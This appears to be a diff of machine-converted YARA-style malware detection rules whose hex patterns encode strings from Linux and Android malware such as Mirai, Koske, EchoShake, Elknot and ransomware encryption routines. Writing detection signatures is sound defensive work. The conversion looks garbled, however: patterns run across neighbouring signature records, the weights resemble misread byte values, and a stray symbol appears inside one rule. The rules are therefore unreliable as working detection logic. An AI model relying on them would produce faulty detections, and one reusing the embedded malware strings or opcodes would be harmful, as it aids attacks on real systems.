69 6e 53 74 61 67 65 2e 41 21 64 68 61 00 05 00 0b 01 2f 62 69 6e 2f 6c 6c 64 70 74 64 05 00 14 01 2f 64 61 74 61 2f 6c 69 62 2f 6c 69 62 69 70 73 78 2e 73 6f 05 00 0c 01 2f 62 69 6e 2f 77 } //11792 + $a_5f_2 = {78 05 00 06 01 69 6e 6a 65 63 74 00 00 8c 71 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 52 61 6e 73 6f 6d 77 61 72 65 46 69 6c 65 49 4f 2e 41 00 04 00 06 80 01 72 65 6e 61 6d 65 04 00 06 80 01 75 6e 6c 69 6e 6b 04 00 05 80 01 66 6f 70 65 6e 04 00 05 80 01 66 72 65 61 64 04 00 06 80 01 66 77 } //24944 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*11792+(#a_74_2 & 1)*29303) >=3 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*11792+(#a_5f_2 & 1)*24944) >=3 } -rule _InfrastructureShared_20724{ +rule _InfrastructureShared_21975{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,14 00 14 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 61 69 6e 53 74 61 67 65 2e 41 21 64 68 61 00 05 00 0b 01 2f 62 69 6e 2f 6c 6c 64 70 74 64 05 00 14 01 2f 64 61 74 61 2f 6c 69 62 2f 6c 69 62 69 70 73 78 2e 73 6f 05 00 0c } //16675 + $a_69_1 = {2f 77 70 61 71 5f 7a 78 05 00 06 01 69 6e 6a 65 63 74 00 00 8c 71 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 52 61 6e 73 6f 6d 77 61 72 65 46 69 6c 65 49 4f 2e 41 00 04 00 06 80 01 72 65 6e 61 6d 65 04 00 06 80 01 75 6e 6c 69 6e 6b 04 00 05 80 01 } //12033 + $a_65_2 = {04 00 05 80 01 66 72 65 61 64 04 00 06 80 01 66 77 72 69 74 65 04 00 06 80 01 66 63 6c 6f 73 65 00 00 8c 72 00 00 07 00 07 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 21 4d 54 42 00 02 00 05 01 6b 6f 73 6b 65 02 00 07 01 72 65 61 64 64 69 72 01 00 08 01 68 69 64 65 70 72 6f 63 01 00 13 01 2f } //28518 + $a_2f_3 = {68 6d 2f 2e 68 69 64 64 65 6e 70 69 64 01 00 10 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 66 64 2f 25 64 00 00 8c 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 21 4d 54 42 00 01 00 29 01 51 4a 47 4e 4e 22 00 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 01 00 22 01 } //25956 + condition: + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*12033+(#a_65_2 & 1)*28518+(#a_2f_3 & 1)*25956) >=20 + +} +rule _InfrastructureShared_21976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,14 00 14 00 06 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 52 61 6e 73 6f 6d 77 61 72 65 46 69 6c 65 49 4f 2e 41 00 04 00 06 80 01 72 65 6e 61 6d 65 04 00 06 80 01 75 6e 6c 69 6e 6b 04 00 05 80 01 66 6f 70 65 6e 04 00 05 80 01 66 72 65 61 64 04 00 06 80 01 66 } //18467 - $a_74_1 = {04 00 06 80 01 66 63 6c 6f 73 65 00 00 8c 72 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6c 6c 69 73 68 2e 41 21 64 68 61 00 01 00 08 01 6d 73 6b 6d 64 6a 77 6f 01 00 13 01 64 65 6a 66 6f 77 68 66 6a 77 6c 66 65 6b 6a 66 4a 4f 49 01 00 0a 01 64 6a 76 6f 32 6f 65 6a 66 32 } //29303 - $a_01_2 = {72 6f 6d 73 69 66 6c } //1 romsifl - $a_01_3 = {70 6f 65 70 6f 66 6a 6f 77 } //1 poepofjow - $a_73_4 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 21 4d 54 42 00 01 00 29 01 51 4a 47 4e 4e 22 00 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 01 00 22 01 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 00 00 8c 75 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 45 } //0 - $a_4c_5 = {67 68 74 4f 72 62 2e 41 21 64 68 61 00 01 00 22 01 65 72 72 6f 72 3a 20 69 6e 76 61 6c 69 64 20 6c 65 66 74 20 73 69 64 65 20 61 72 67 75 6d } //17996 + $a_74_1 = {04 00 06 80 01 66 63 6c 6f 73 65 00 00 8c 72 00 00 07 00 07 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 21 4d 54 42 00 02 00 05 01 6b 6f 73 6b 65 02 00 07 01 72 65 61 64 64 69 72 01 00 08 01 68 69 64 65 70 72 6f 63 01 00 13 01 2f 64 65 76 2f 73 68 6d 2f 2e 68 69 64 64 65 } //29303 + $a_64_2 = {00 10 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 66 64 2f 25 64 00 00 8c 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 21 4d 54 42 00 01 00 29 01 51 4a 47 4e 4e 22 00 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 01 00 22 01 00 } //28782 + $a_40_3 = {47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 00 00 8c 75 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 45 4c 46 2f 4c 69 67 68 74 4f 72 62 2e 41 } //19527 + $a_61_4 = {01 00 22 01 65 72 72 6f 72 3a 20 69 6e 76 61 6c 69 64 20 6c 65 66 74 20 73 69 64 65 20 61 72 67 75 6d 65 6e 74 0a 01 00 23 01 65 72 72 6f 72 3a 20 69 6e 76 61 6c 69 64 20 72 69 67 68 74 20 73 69 64 65 20 61 72 67 75 6d 65 6e 74 0a 00 00 8c 75 00 00 03 00 03 00 07 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 44 65 } //25633 + $a_67_5 = {72 50 72 6f 63 65 73 73 43 68 65 63 6b 00 01 00 06 81 01 73 74 72 63 6d 70 01 00 04 81 01 67 64 62 00 01 00 06 81 01 73 74 72 61 63 65 01 00 06 81 01 6c 74 72 61 63 65 ff ff 06 80 01 50 6f 6c 6c 64 62 ff ff 05 80 01 61 6c 6c 64 62 ff ff 07 80 01 63 6c 74 72 61 63 65 00 00 8c 75 00 00 0f 00 0f 00 03 00 21 23 } //30050 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29303+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_73_4 & 1)*0+(#a_4c_5 & 1)*17996) >=20 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29303+(#a_64_2 & 1)*28782+(#a_40_3 & 1)*19527+(#a_61_4 & 1)*25633+(#a_67_5 & 1)*30050) >=20 } -rule _InfrastructureShared_20725{ +rule _InfrastructureShared_21977{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 05 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6c 6c 69 73 68 2e 41 21 64 68 61 00 01 00 08 01 6d 73 6b 6d 64 6a 77 6f 01 00 13 01 64 65 6a 66 6f 77 68 66 6a 77 6c 66 65 6b 6a 66 4a 4f 49 01 00 0a 01 64 6a 76 6f 32 6f 65 6a 66 32 } //16675 - $a_01_1 = {72 6f 6d 73 69 66 6c } //1 romsifl - $a_01_2 = {70 6f 65 70 6f 66 6a 6f 77 } //1 poepofjow - $a_73_3 = {00 02 00 02 00 02 00 21 23 54 45 4c 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 21 4d 54 42 00 01 00 29 01 51 4a 47 4e 4e 22 00 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 01 00 22 01 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 00 00 8c 75 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 45 } //0 - $a_4c_4 = {67 68 74 4f 72 62 2e 41 21 64 68 61 00 01 00 22 01 65 72 72 6f 72 3a 20 69 6e 76 61 6c 69 64 20 6c 65 66 74 20 73 69 64 65 20 61 72 67 75 6d } //17996 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 21 4d 54 42 00 02 00 05 01 6b 6f 73 6b 65 02 00 07 01 72 65 61 64 64 69 72 01 00 08 01 68 69 64 65 70 72 6f 63 01 00 13 01 2f 64 65 76 2f 73 68 6d } //21539 + $a_69_1 = {64 65 6e 70 69 64 01 00 10 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 66 64 2f 25 64 00 00 8c 73 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 21 4d 54 42 00 01 00 29 01 51 4a 47 4e 4e 22 00 00 47 4c 43 40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 } //11823 + $a_01_2 = {00 22 } //23117 ∀ + $a_4c_3 = {40 4e 47 22 00 51 5b 51 56 47 4f 22 00 51 4a 22 00 0d 40 4b 4c 0d 40 57 51 5b 40 4d 5a 02 00 00 8c 75 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 45 4c 46 2f 4c 69 67 68 74 4f 72 62 2e 41 21 64 } //1 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_73_3 & 1)*0+(#a_4c_4 & 1)*17996) >=3 + ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*11823+(#a_01_2 & 1)*23117+(#a_4c_3 & 1)*1) >=7 } -rule _InfrastructureShared_20726{ +rule _InfrastructureShared_21978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272947,7 +288845,7 @@ rule _InfrastructureShared_20726{ ((#a_4c_0 & 1)*21539+(#a_4e_1 & 1)*17228) >=2 } -rule _InfrastructureShared_20727{ +rule _InfrastructureShared_21979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272958,48 +288856,69 @@ rule _InfrastructureShared_20727{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30318) >=2 } -rule _InfrastructureShared_20728{ +rule _InfrastructureShared_21980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 07 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 44 65 62 75 67 67 65 72 50 72 6f 63 65 73 73 43 68 65 63 6b 00 01 00 06 81 01 73 74 72 63 6d 70 01 00 04 81 01 67 64 62 00 01 00 06 81 01 73 74 72 61 63 65 01 00 06 81 01 6c 74 72 61 63 65 ff ff 06 80 01 50 6f 6c 6c 64 62 ff ff } //18467 $a_61_1 = {6c } //-32763 l - $a_ff_2 = {80 01 63 6c 74 72 61 63 65 00 00 8c 76 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 44 6f 53 3a 4c 69 6e 75 78 2f 45 6c 6b 6e 6f 74 00 01 00 09 01 41 74 6b 54 68 72 65 61 64 01 00 19 01 64 64 6f 73 5f 74 61 73 6b 5f 77 69 6e 31 30 5f 64 64 6f 73 5f 66 61 6b 65 01 00 0a 01 57 53 43 6f 6e 70 72 65 73 73 01 00 1a 03 83 f8 02 75 64 8b 45 0c 8b 40 1c 89 85 90 01 04 83 bd 90 01 04 2a 73 0a 90 00 00 00 8c 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 43 72 79 70 74 6f 41 50 49 2e 41 00 02 00 0d 80 01 61 65 73 2e 4e 65 77 43 69 70 68 65 72 02 00 0d 80 01 63 69 70 68 65 72 2e 4e 65 77 47 43 4d 02 00 16 80 01 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 6e 63 72 79 70 74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 } //25188 - $a_00_4 = {06 } //1 - $a_48_5 = {54 52 3a 4c 69 6e 75 78 2f 43 72 79 70 74 6f 72 53 74 72 69 6e 67 73 2e 42 00 01 00 0b 80 01 65 6e 63 72 } //8448 - $a_66_6 = {6c 65 01 00 08 80 01 5f 65 6e 63 72 79 70 74 01 00 08 80 01 65 6e 63 72 79 70 74 5f 01 00 09 80 01 65 6e 63 72 79 70 74 65 64 01 00 09 80 01 65 6e 63 72 79 70 74 65 72 01 00 06 80 01 72 61 6e 73 6f 6d 00 00 8c 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4a 6f 6b 65 72 2e 51 42 00 01 00 2d 01 2f } //28793 + $a_ff_2 = {80 01 63 6c 74 72 61 63 65 00 00 8c 75 00 00 0f 00 0f 00 03 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 44 75 73 74 79 43 68 61 6e 6e 65 6c 2e 41 21 64 68 61 00 05 00 09 01 63 6c 69 65 6e 74 31 2e 63 05 00 0d 01 49 43 4d 50 5f 4f 50 45 4e 5f 4b 45 59 05 00 20 01 43 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 63 65 72 74 69 66 69 63 61 74 65 00 00 8c 76 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 44 6f 53 3a 4c 69 6e 75 78 2f 45 6c 6b 6e 6f 74 00 01 00 09 01 41 74 6b 54 68 72 65 61 64 01 00 19 01 64 64 6f 73 5f 74 61 73 6b 5f 77 69 6e 31 30 5f 64 64 6f 73 5f 66 61 6b 65 01 00 0a 01 57 53 43 6f 6e 70 72 65 73 73 01 00 1a 03 83 f8 02 75 64 8b 45 0c 8b 40 1c 89 85 90 01 04 83 bd 90 01 04 2a 73 0a 90 00 00 00 8c } //25188 + $a_48_5 = {54 52 3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 43 72 79 70 74 6f 41 50 49 2e 41 00 02 00 0d 80 01 } //8448 + $a_2e_6 = {65 77 43 69 70 68 65 72 02 00 0d 80 01 63 69 70 68 65 72 2e 4e 65 77 47 43 4d 02 00 16 80 01 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 6e 63 72 79 70 74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 8c 76 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 45 63 68 6f 53 68 61 6b 65 2e 41 21 64 } //25953 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32763+(#a_ff_2 & 1)*25188+(#a_00_4 & 1)*1+(#a_48_5 & 1)*8448+(#a_66_6 & 1)*28793) >=3 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32763+(#a_ff_2 & 1)*25188+(#a_48_5 & 1)*8448+(#a_2e_6 & 1)*25953) >=3 } -rule _InfrastructureShared_20729{ +rule _InfrastructureShared_21981{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 03 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 44 75 73 74 79 43 68 61 6e 6e 65 6c 2e 41 21 64 68 61 00 05 00 09 01 63 6c 69 65 6e 74 31 2e 63 05 00 0d 01 49 43 4d 50 5f 4f 50 45 4e 5f 4b 45 59 05 00 20 01 43 6c 69 65 6e } //16675 + $a_6f_1 = {73 20 6e 6f 74 20 68 61 76 65 20 63 65 72 74 69 66 69 63 61 74 65 00 00 8c 76 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 44 6f 53 3a 4c 69 6e 75 78 2f 45 6c 6b 6e 6f 74 00 01 00 09 01 41 74 6b 54 68 72 65 61 64 01 00 19 01 64 64 6f 73 5f 74 61 73 6b 5f 77 69 6e 31 30 5f 64 64 6f 73 5f 66 61 6b 65 } //8308 + $a_01_2 = {57 53 43 6f 6e 70 72 65 73 73 } //1 WSConpress + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8308+(#a_01_2 & 1)*1) >=15 + +} +rule _InfrastructureShared_21982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 44 6f 53 3a 4c 69 6e 75 78 2f 45 6c 6b 6e 6f 74 00 01 00 09 01 41 74 6b 54 68 72 65 61 64 01 00 19 01 64 64 6f 73 5f 74 61 73 6b 5f 77 69 6e 31 30 5f 64 64 6f 73 5f 66 61 6b 65 01 00 0a 01 57 53 43 6f 6e 70 72 65 73 73 01 00 1a 03 83 f8 02 75 64 } //18467 $a_8b_1 = {1c 89 85 90 01 04 83 bd 90 01 04 2a } //17803 - $a_00_2 = {00 00 8c 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 43 72 79 70 74 6f 41 50 49 2e 41 00 02 00 0d 80 01 61 65 73 2e 4e 65 77 43 69 70 68 65 72 02 00 0d 80 01 63 69 70 68 65 72 2e 4e 65 77 47 43 4d 02 00 16 80 01 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 6e 63 72 79 70 74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 8c 77 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 4c 69 6e } //2675 - $a_43_3 = {79 70 74 6f 72 53 74 72 69 6e 67 73 2e 42 00 01 00 0b 80 01 65 6e 63 72 79 70 74 66 69 6c 65 01 00 08 80 01 5f 65 6e 63 72 79 70 74 01 00 08 } //30837 + $a_00_2 = {00 00 8c 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 43 72 79 70 74 6f 41 50 49 2e 41 00 02 00 0d 80 01 61 65 73 2e 4e 65 77 43 69 70 68 65 72 02 00 0d 80 01 63 69 70 68 65 72 2e 4e 65 77 47 43 4d 02 00 16 80 01 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 6e 63 72 79 70 74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 8c 76 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 42 } //2675 + $a_64_3 = {6f 72 3a 4c 69 6e 75 78 2f 45 63 68 6f 53 68 61 6b 65 2e 41 21 64 68 61 00 0a 00 42 03 83 c4 20 83 ec 0c 6a 04 8d 85 90 01 04 50 68 01 10 00 00 68 ff ff 00 00 ff b5 90 01 04 e8 90 01 04 83 c4 20 83 ec 0c 6a 04 8d 85 34 fe ff ff 50 68 02 10 00 00 68 ff ff 00 00 ff b5 90 01 04 e8 90 00 00 00 8c 77 00 00 01 00 01 00 06 00 } //25441 condition: - ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*17803+(#a_00_2 & 1)*2675+(#a_43_3 & 1)*30837) >=2 + ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*17803+(#a_00_2 & 1)*2675+(#a_64_3 & 1)*25441) >=2 } -rule _InfrastructureShared_20730{ +rule _InfrastructureShared_21983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 47 6f 4c 61 6e 67 41 50 49 43 72 79 70 74 6f 41 50 49 2e 41 00 02 00 0d 80 01 61 65 73 2e 4e 65 77 43 69 70 68 65 72 02 00 0d 80 01 63 69 70 68 65 72 2e 4e 65 77 47 43 4d 02 00 16 80 01 63 69 70 68 65 72 2e 4e 65 77 43 46 42 45 } //18467 - $a_79_1 = {74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 8c 77 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 72 79 70 74 6f 72 53 74 72 69 6e 67 73 2e 42 00 01 00 0b 80 01 65 6e 63 72 79 70 74 66 69 6c 65 01 00 08 80 01 5f 65 6e 63 72 79 70 74 01 00 08 80 01 65 6e 63 72 79 70 74 5f 01 00 09 80 01 65 6e 63 72 79 70 74 65 64 } //25454 - $a_80_2 = {65 6e 63 72 79 70 74 65 72 } //encrypter 1 - $a_80_3 = {72 61 6e 73 6f 6d } //ransom 1 + $a_79_1 = {74 65 72 02 00 08 80 01 67 63 6d 2e 53 65 61 6c 00 00 8c 76 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 45 63 68 6f 53 68 61 6b 65 2e 41 21 64 68 61 00 0a 00 42 03 83 c4 20 83 ec 0c 6a 04 8d 85 90 01 04 50 68 01 10 00 00 68 ff ff 00 00 ff b5 90 01 04 e8 90 01 04 83 c4 20 83 ec 0c 6a 04 8d } //25454 + $a_ff_2 = {50 68 02 10 00 00 68 ff ff 00 00 ff b5 90 01 04 e8 90 00 00 00 8c 77 00 00 01 00 01 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 72 79 70 74 6f 72 53 74 72 69 6e 67 73 2e 42 00 01 00 0b 80 01 65 6e 63 72 79 70 74 66 69 6c 65 01 00 08 80 01 5f 65 6e 63 72 79 70 74 01 00 08 80 01 65 6e 63 72 79 70 74 5f 01 00 09 80 01 65 6e 63 72 79 70 74 65 64 01 00 09 80 01 65 6e 63 72 79 70 74 65 72 01 00 06 80 01 72 61 6e 73 6f 6d 00 00 8c 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4a 6f 6b 65 72 2e 51 42 00 01 00 2d 01 2f 54 42 2f 53 44 4b 2f 64 79 6e 61 6d 69 63 5f 6c 6f 61 64 65 72 5f 70 69 6e 2d 49 6d 65 6d 6f 72 79 43 6c 61 73 73 6c 6f 61 64 65 72 01 00 18 01 6c 6f 63 61 6c 2d 6c 6f 61 64 44 65 78 2d 62 } //13445 + $a_36_3 = {2e 63 70 70 00 00 01 00 8c 77 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 72 6f 62 61 2e 41 21 4d 54 42 00 01 00 28 01 e9 23 44 a9 0a 6b 77 38 3f 01 08 eb 53 01 15 4a c2 00 00 54 33 01 00 39 e8 23 40 f9 08 05 00 91 e8 23 00 f9 21 00 00 14 01 00 0e 01 } //29537 condition: - ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*25454+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 + ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*25454+(#a_ff_2 & 1)*13445+(#a_36_3 & 1)*29537) >=4 } -rule _InfrastructureShared_20731{ +rule _InfrastructureShared_21984{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 45 63 68 6f 53 68 61 6b 65 2e 41 21 64 68 61 00 0a 00 42 03 83 c4 20 83 ec 0c 6a 04 8d 85 90 01 04 50 68 01 10 00 00 68 ff ff 00 00 ff b5 90 01 04 e8 90 01 04 83 c4 20 83 ec } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_21985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 06 00 21 " @@ -273014,7 +288933,7 @@ rule _InfrastructureShared_20731{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*384+(#a_6c_2 & 1)*29537+(#a_23_3 & 1)*-28416+(#a_73_4 & 1)*25455+(#a_00_5 & 1)*-29696) >=1 } -rule _InfrastructureShared_20732{ +rule _InfrastructureShared_21986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273025,7 +288944,7 @@ rule _InfrastructureShared_20732{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*6144) >=2 } -rule _InfrastructureShared_20733{ +rule _InfrastructureShared_21987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -273037,7 +288956,7 @@ rule _InfrastructureShared_20733{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*26881+(#a_50_2 & 1)*24946) >=3 } -rule _InfrastructureShared_20734{ +rule _InfrastructureShared_21988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -273050,7 +288969,7 @@ rule _InfrastructureShared_20734{ ((#a_41_0 & 1)*20515+(#a_50_1 & 1)*19280+(#a_61_2 & 1)*29288+(#a_70_3 & 1)*29479) >=4 } -rule _InfrastructureShared_20735{ +rule _InfrastructureShared_21989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 04 00 06 00 21 " @@ -273064,7 +288983,7 @@ rule _InfrastructureShared_20735{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*25963+(#a_00_3 & 1)*1+(#a_41_4 & 1)*8448+(#a_6e_5 & 1)*25135) >=4 } -rule _InfrastructureShared_20736{ +rule _InfrastructureShared_21990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -273076,7 +288995,7 @@ rule _InfrastructureShared_20736{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25977+(#a_2e_2 & 1)*25458) >=2 } -rule _InfrastructureShared_20737{ +rule _InfrastructureShared_21991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " @@ -273086,7 +289005,7 @@ rule _InfrastructureShared_20737{ ((#a_64_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20738{ +rule _InfrastructureShared_21992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " @@ -273100,7 +289019,7 @@ rule _InfrastructureShared_20738{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28532+(#a_00_2 & 1)*16+(#a_78_3 & 1)*28265+(#a_69_4 & 1)*28524) >=5 } -rule _InfrastructureShared_20739{ +rule _InfrastructureShared_21993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,10 00 10 00 05 00 21 " @@ -273113,7 +289032,7 @@ rule _InfrastructureShared_20739{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25209+(#a_00_3 & 1)*0+(#a_68_4 & 1)*28498) >=16 } -rule _InfrastructureShared_20740{ +rule _InfrastructureShared_21994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273124,7 +289043,7 @@ rule _InfrastructureShared_20740{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*0) >=2 } -rule _InfrastructureShared_20741{ +rule _InfrastructureShared_21995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273135,7 +289054,7 @@ rule _InfrastructureShared_20741{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*8302) >=2 } -rule _InfrastructureShared_20742{ +rule _InfrastructureShared_21996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -273146,7 +289065,7 @@ rule _InfrastructureShared_20742{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*1269) >=2 } -rule 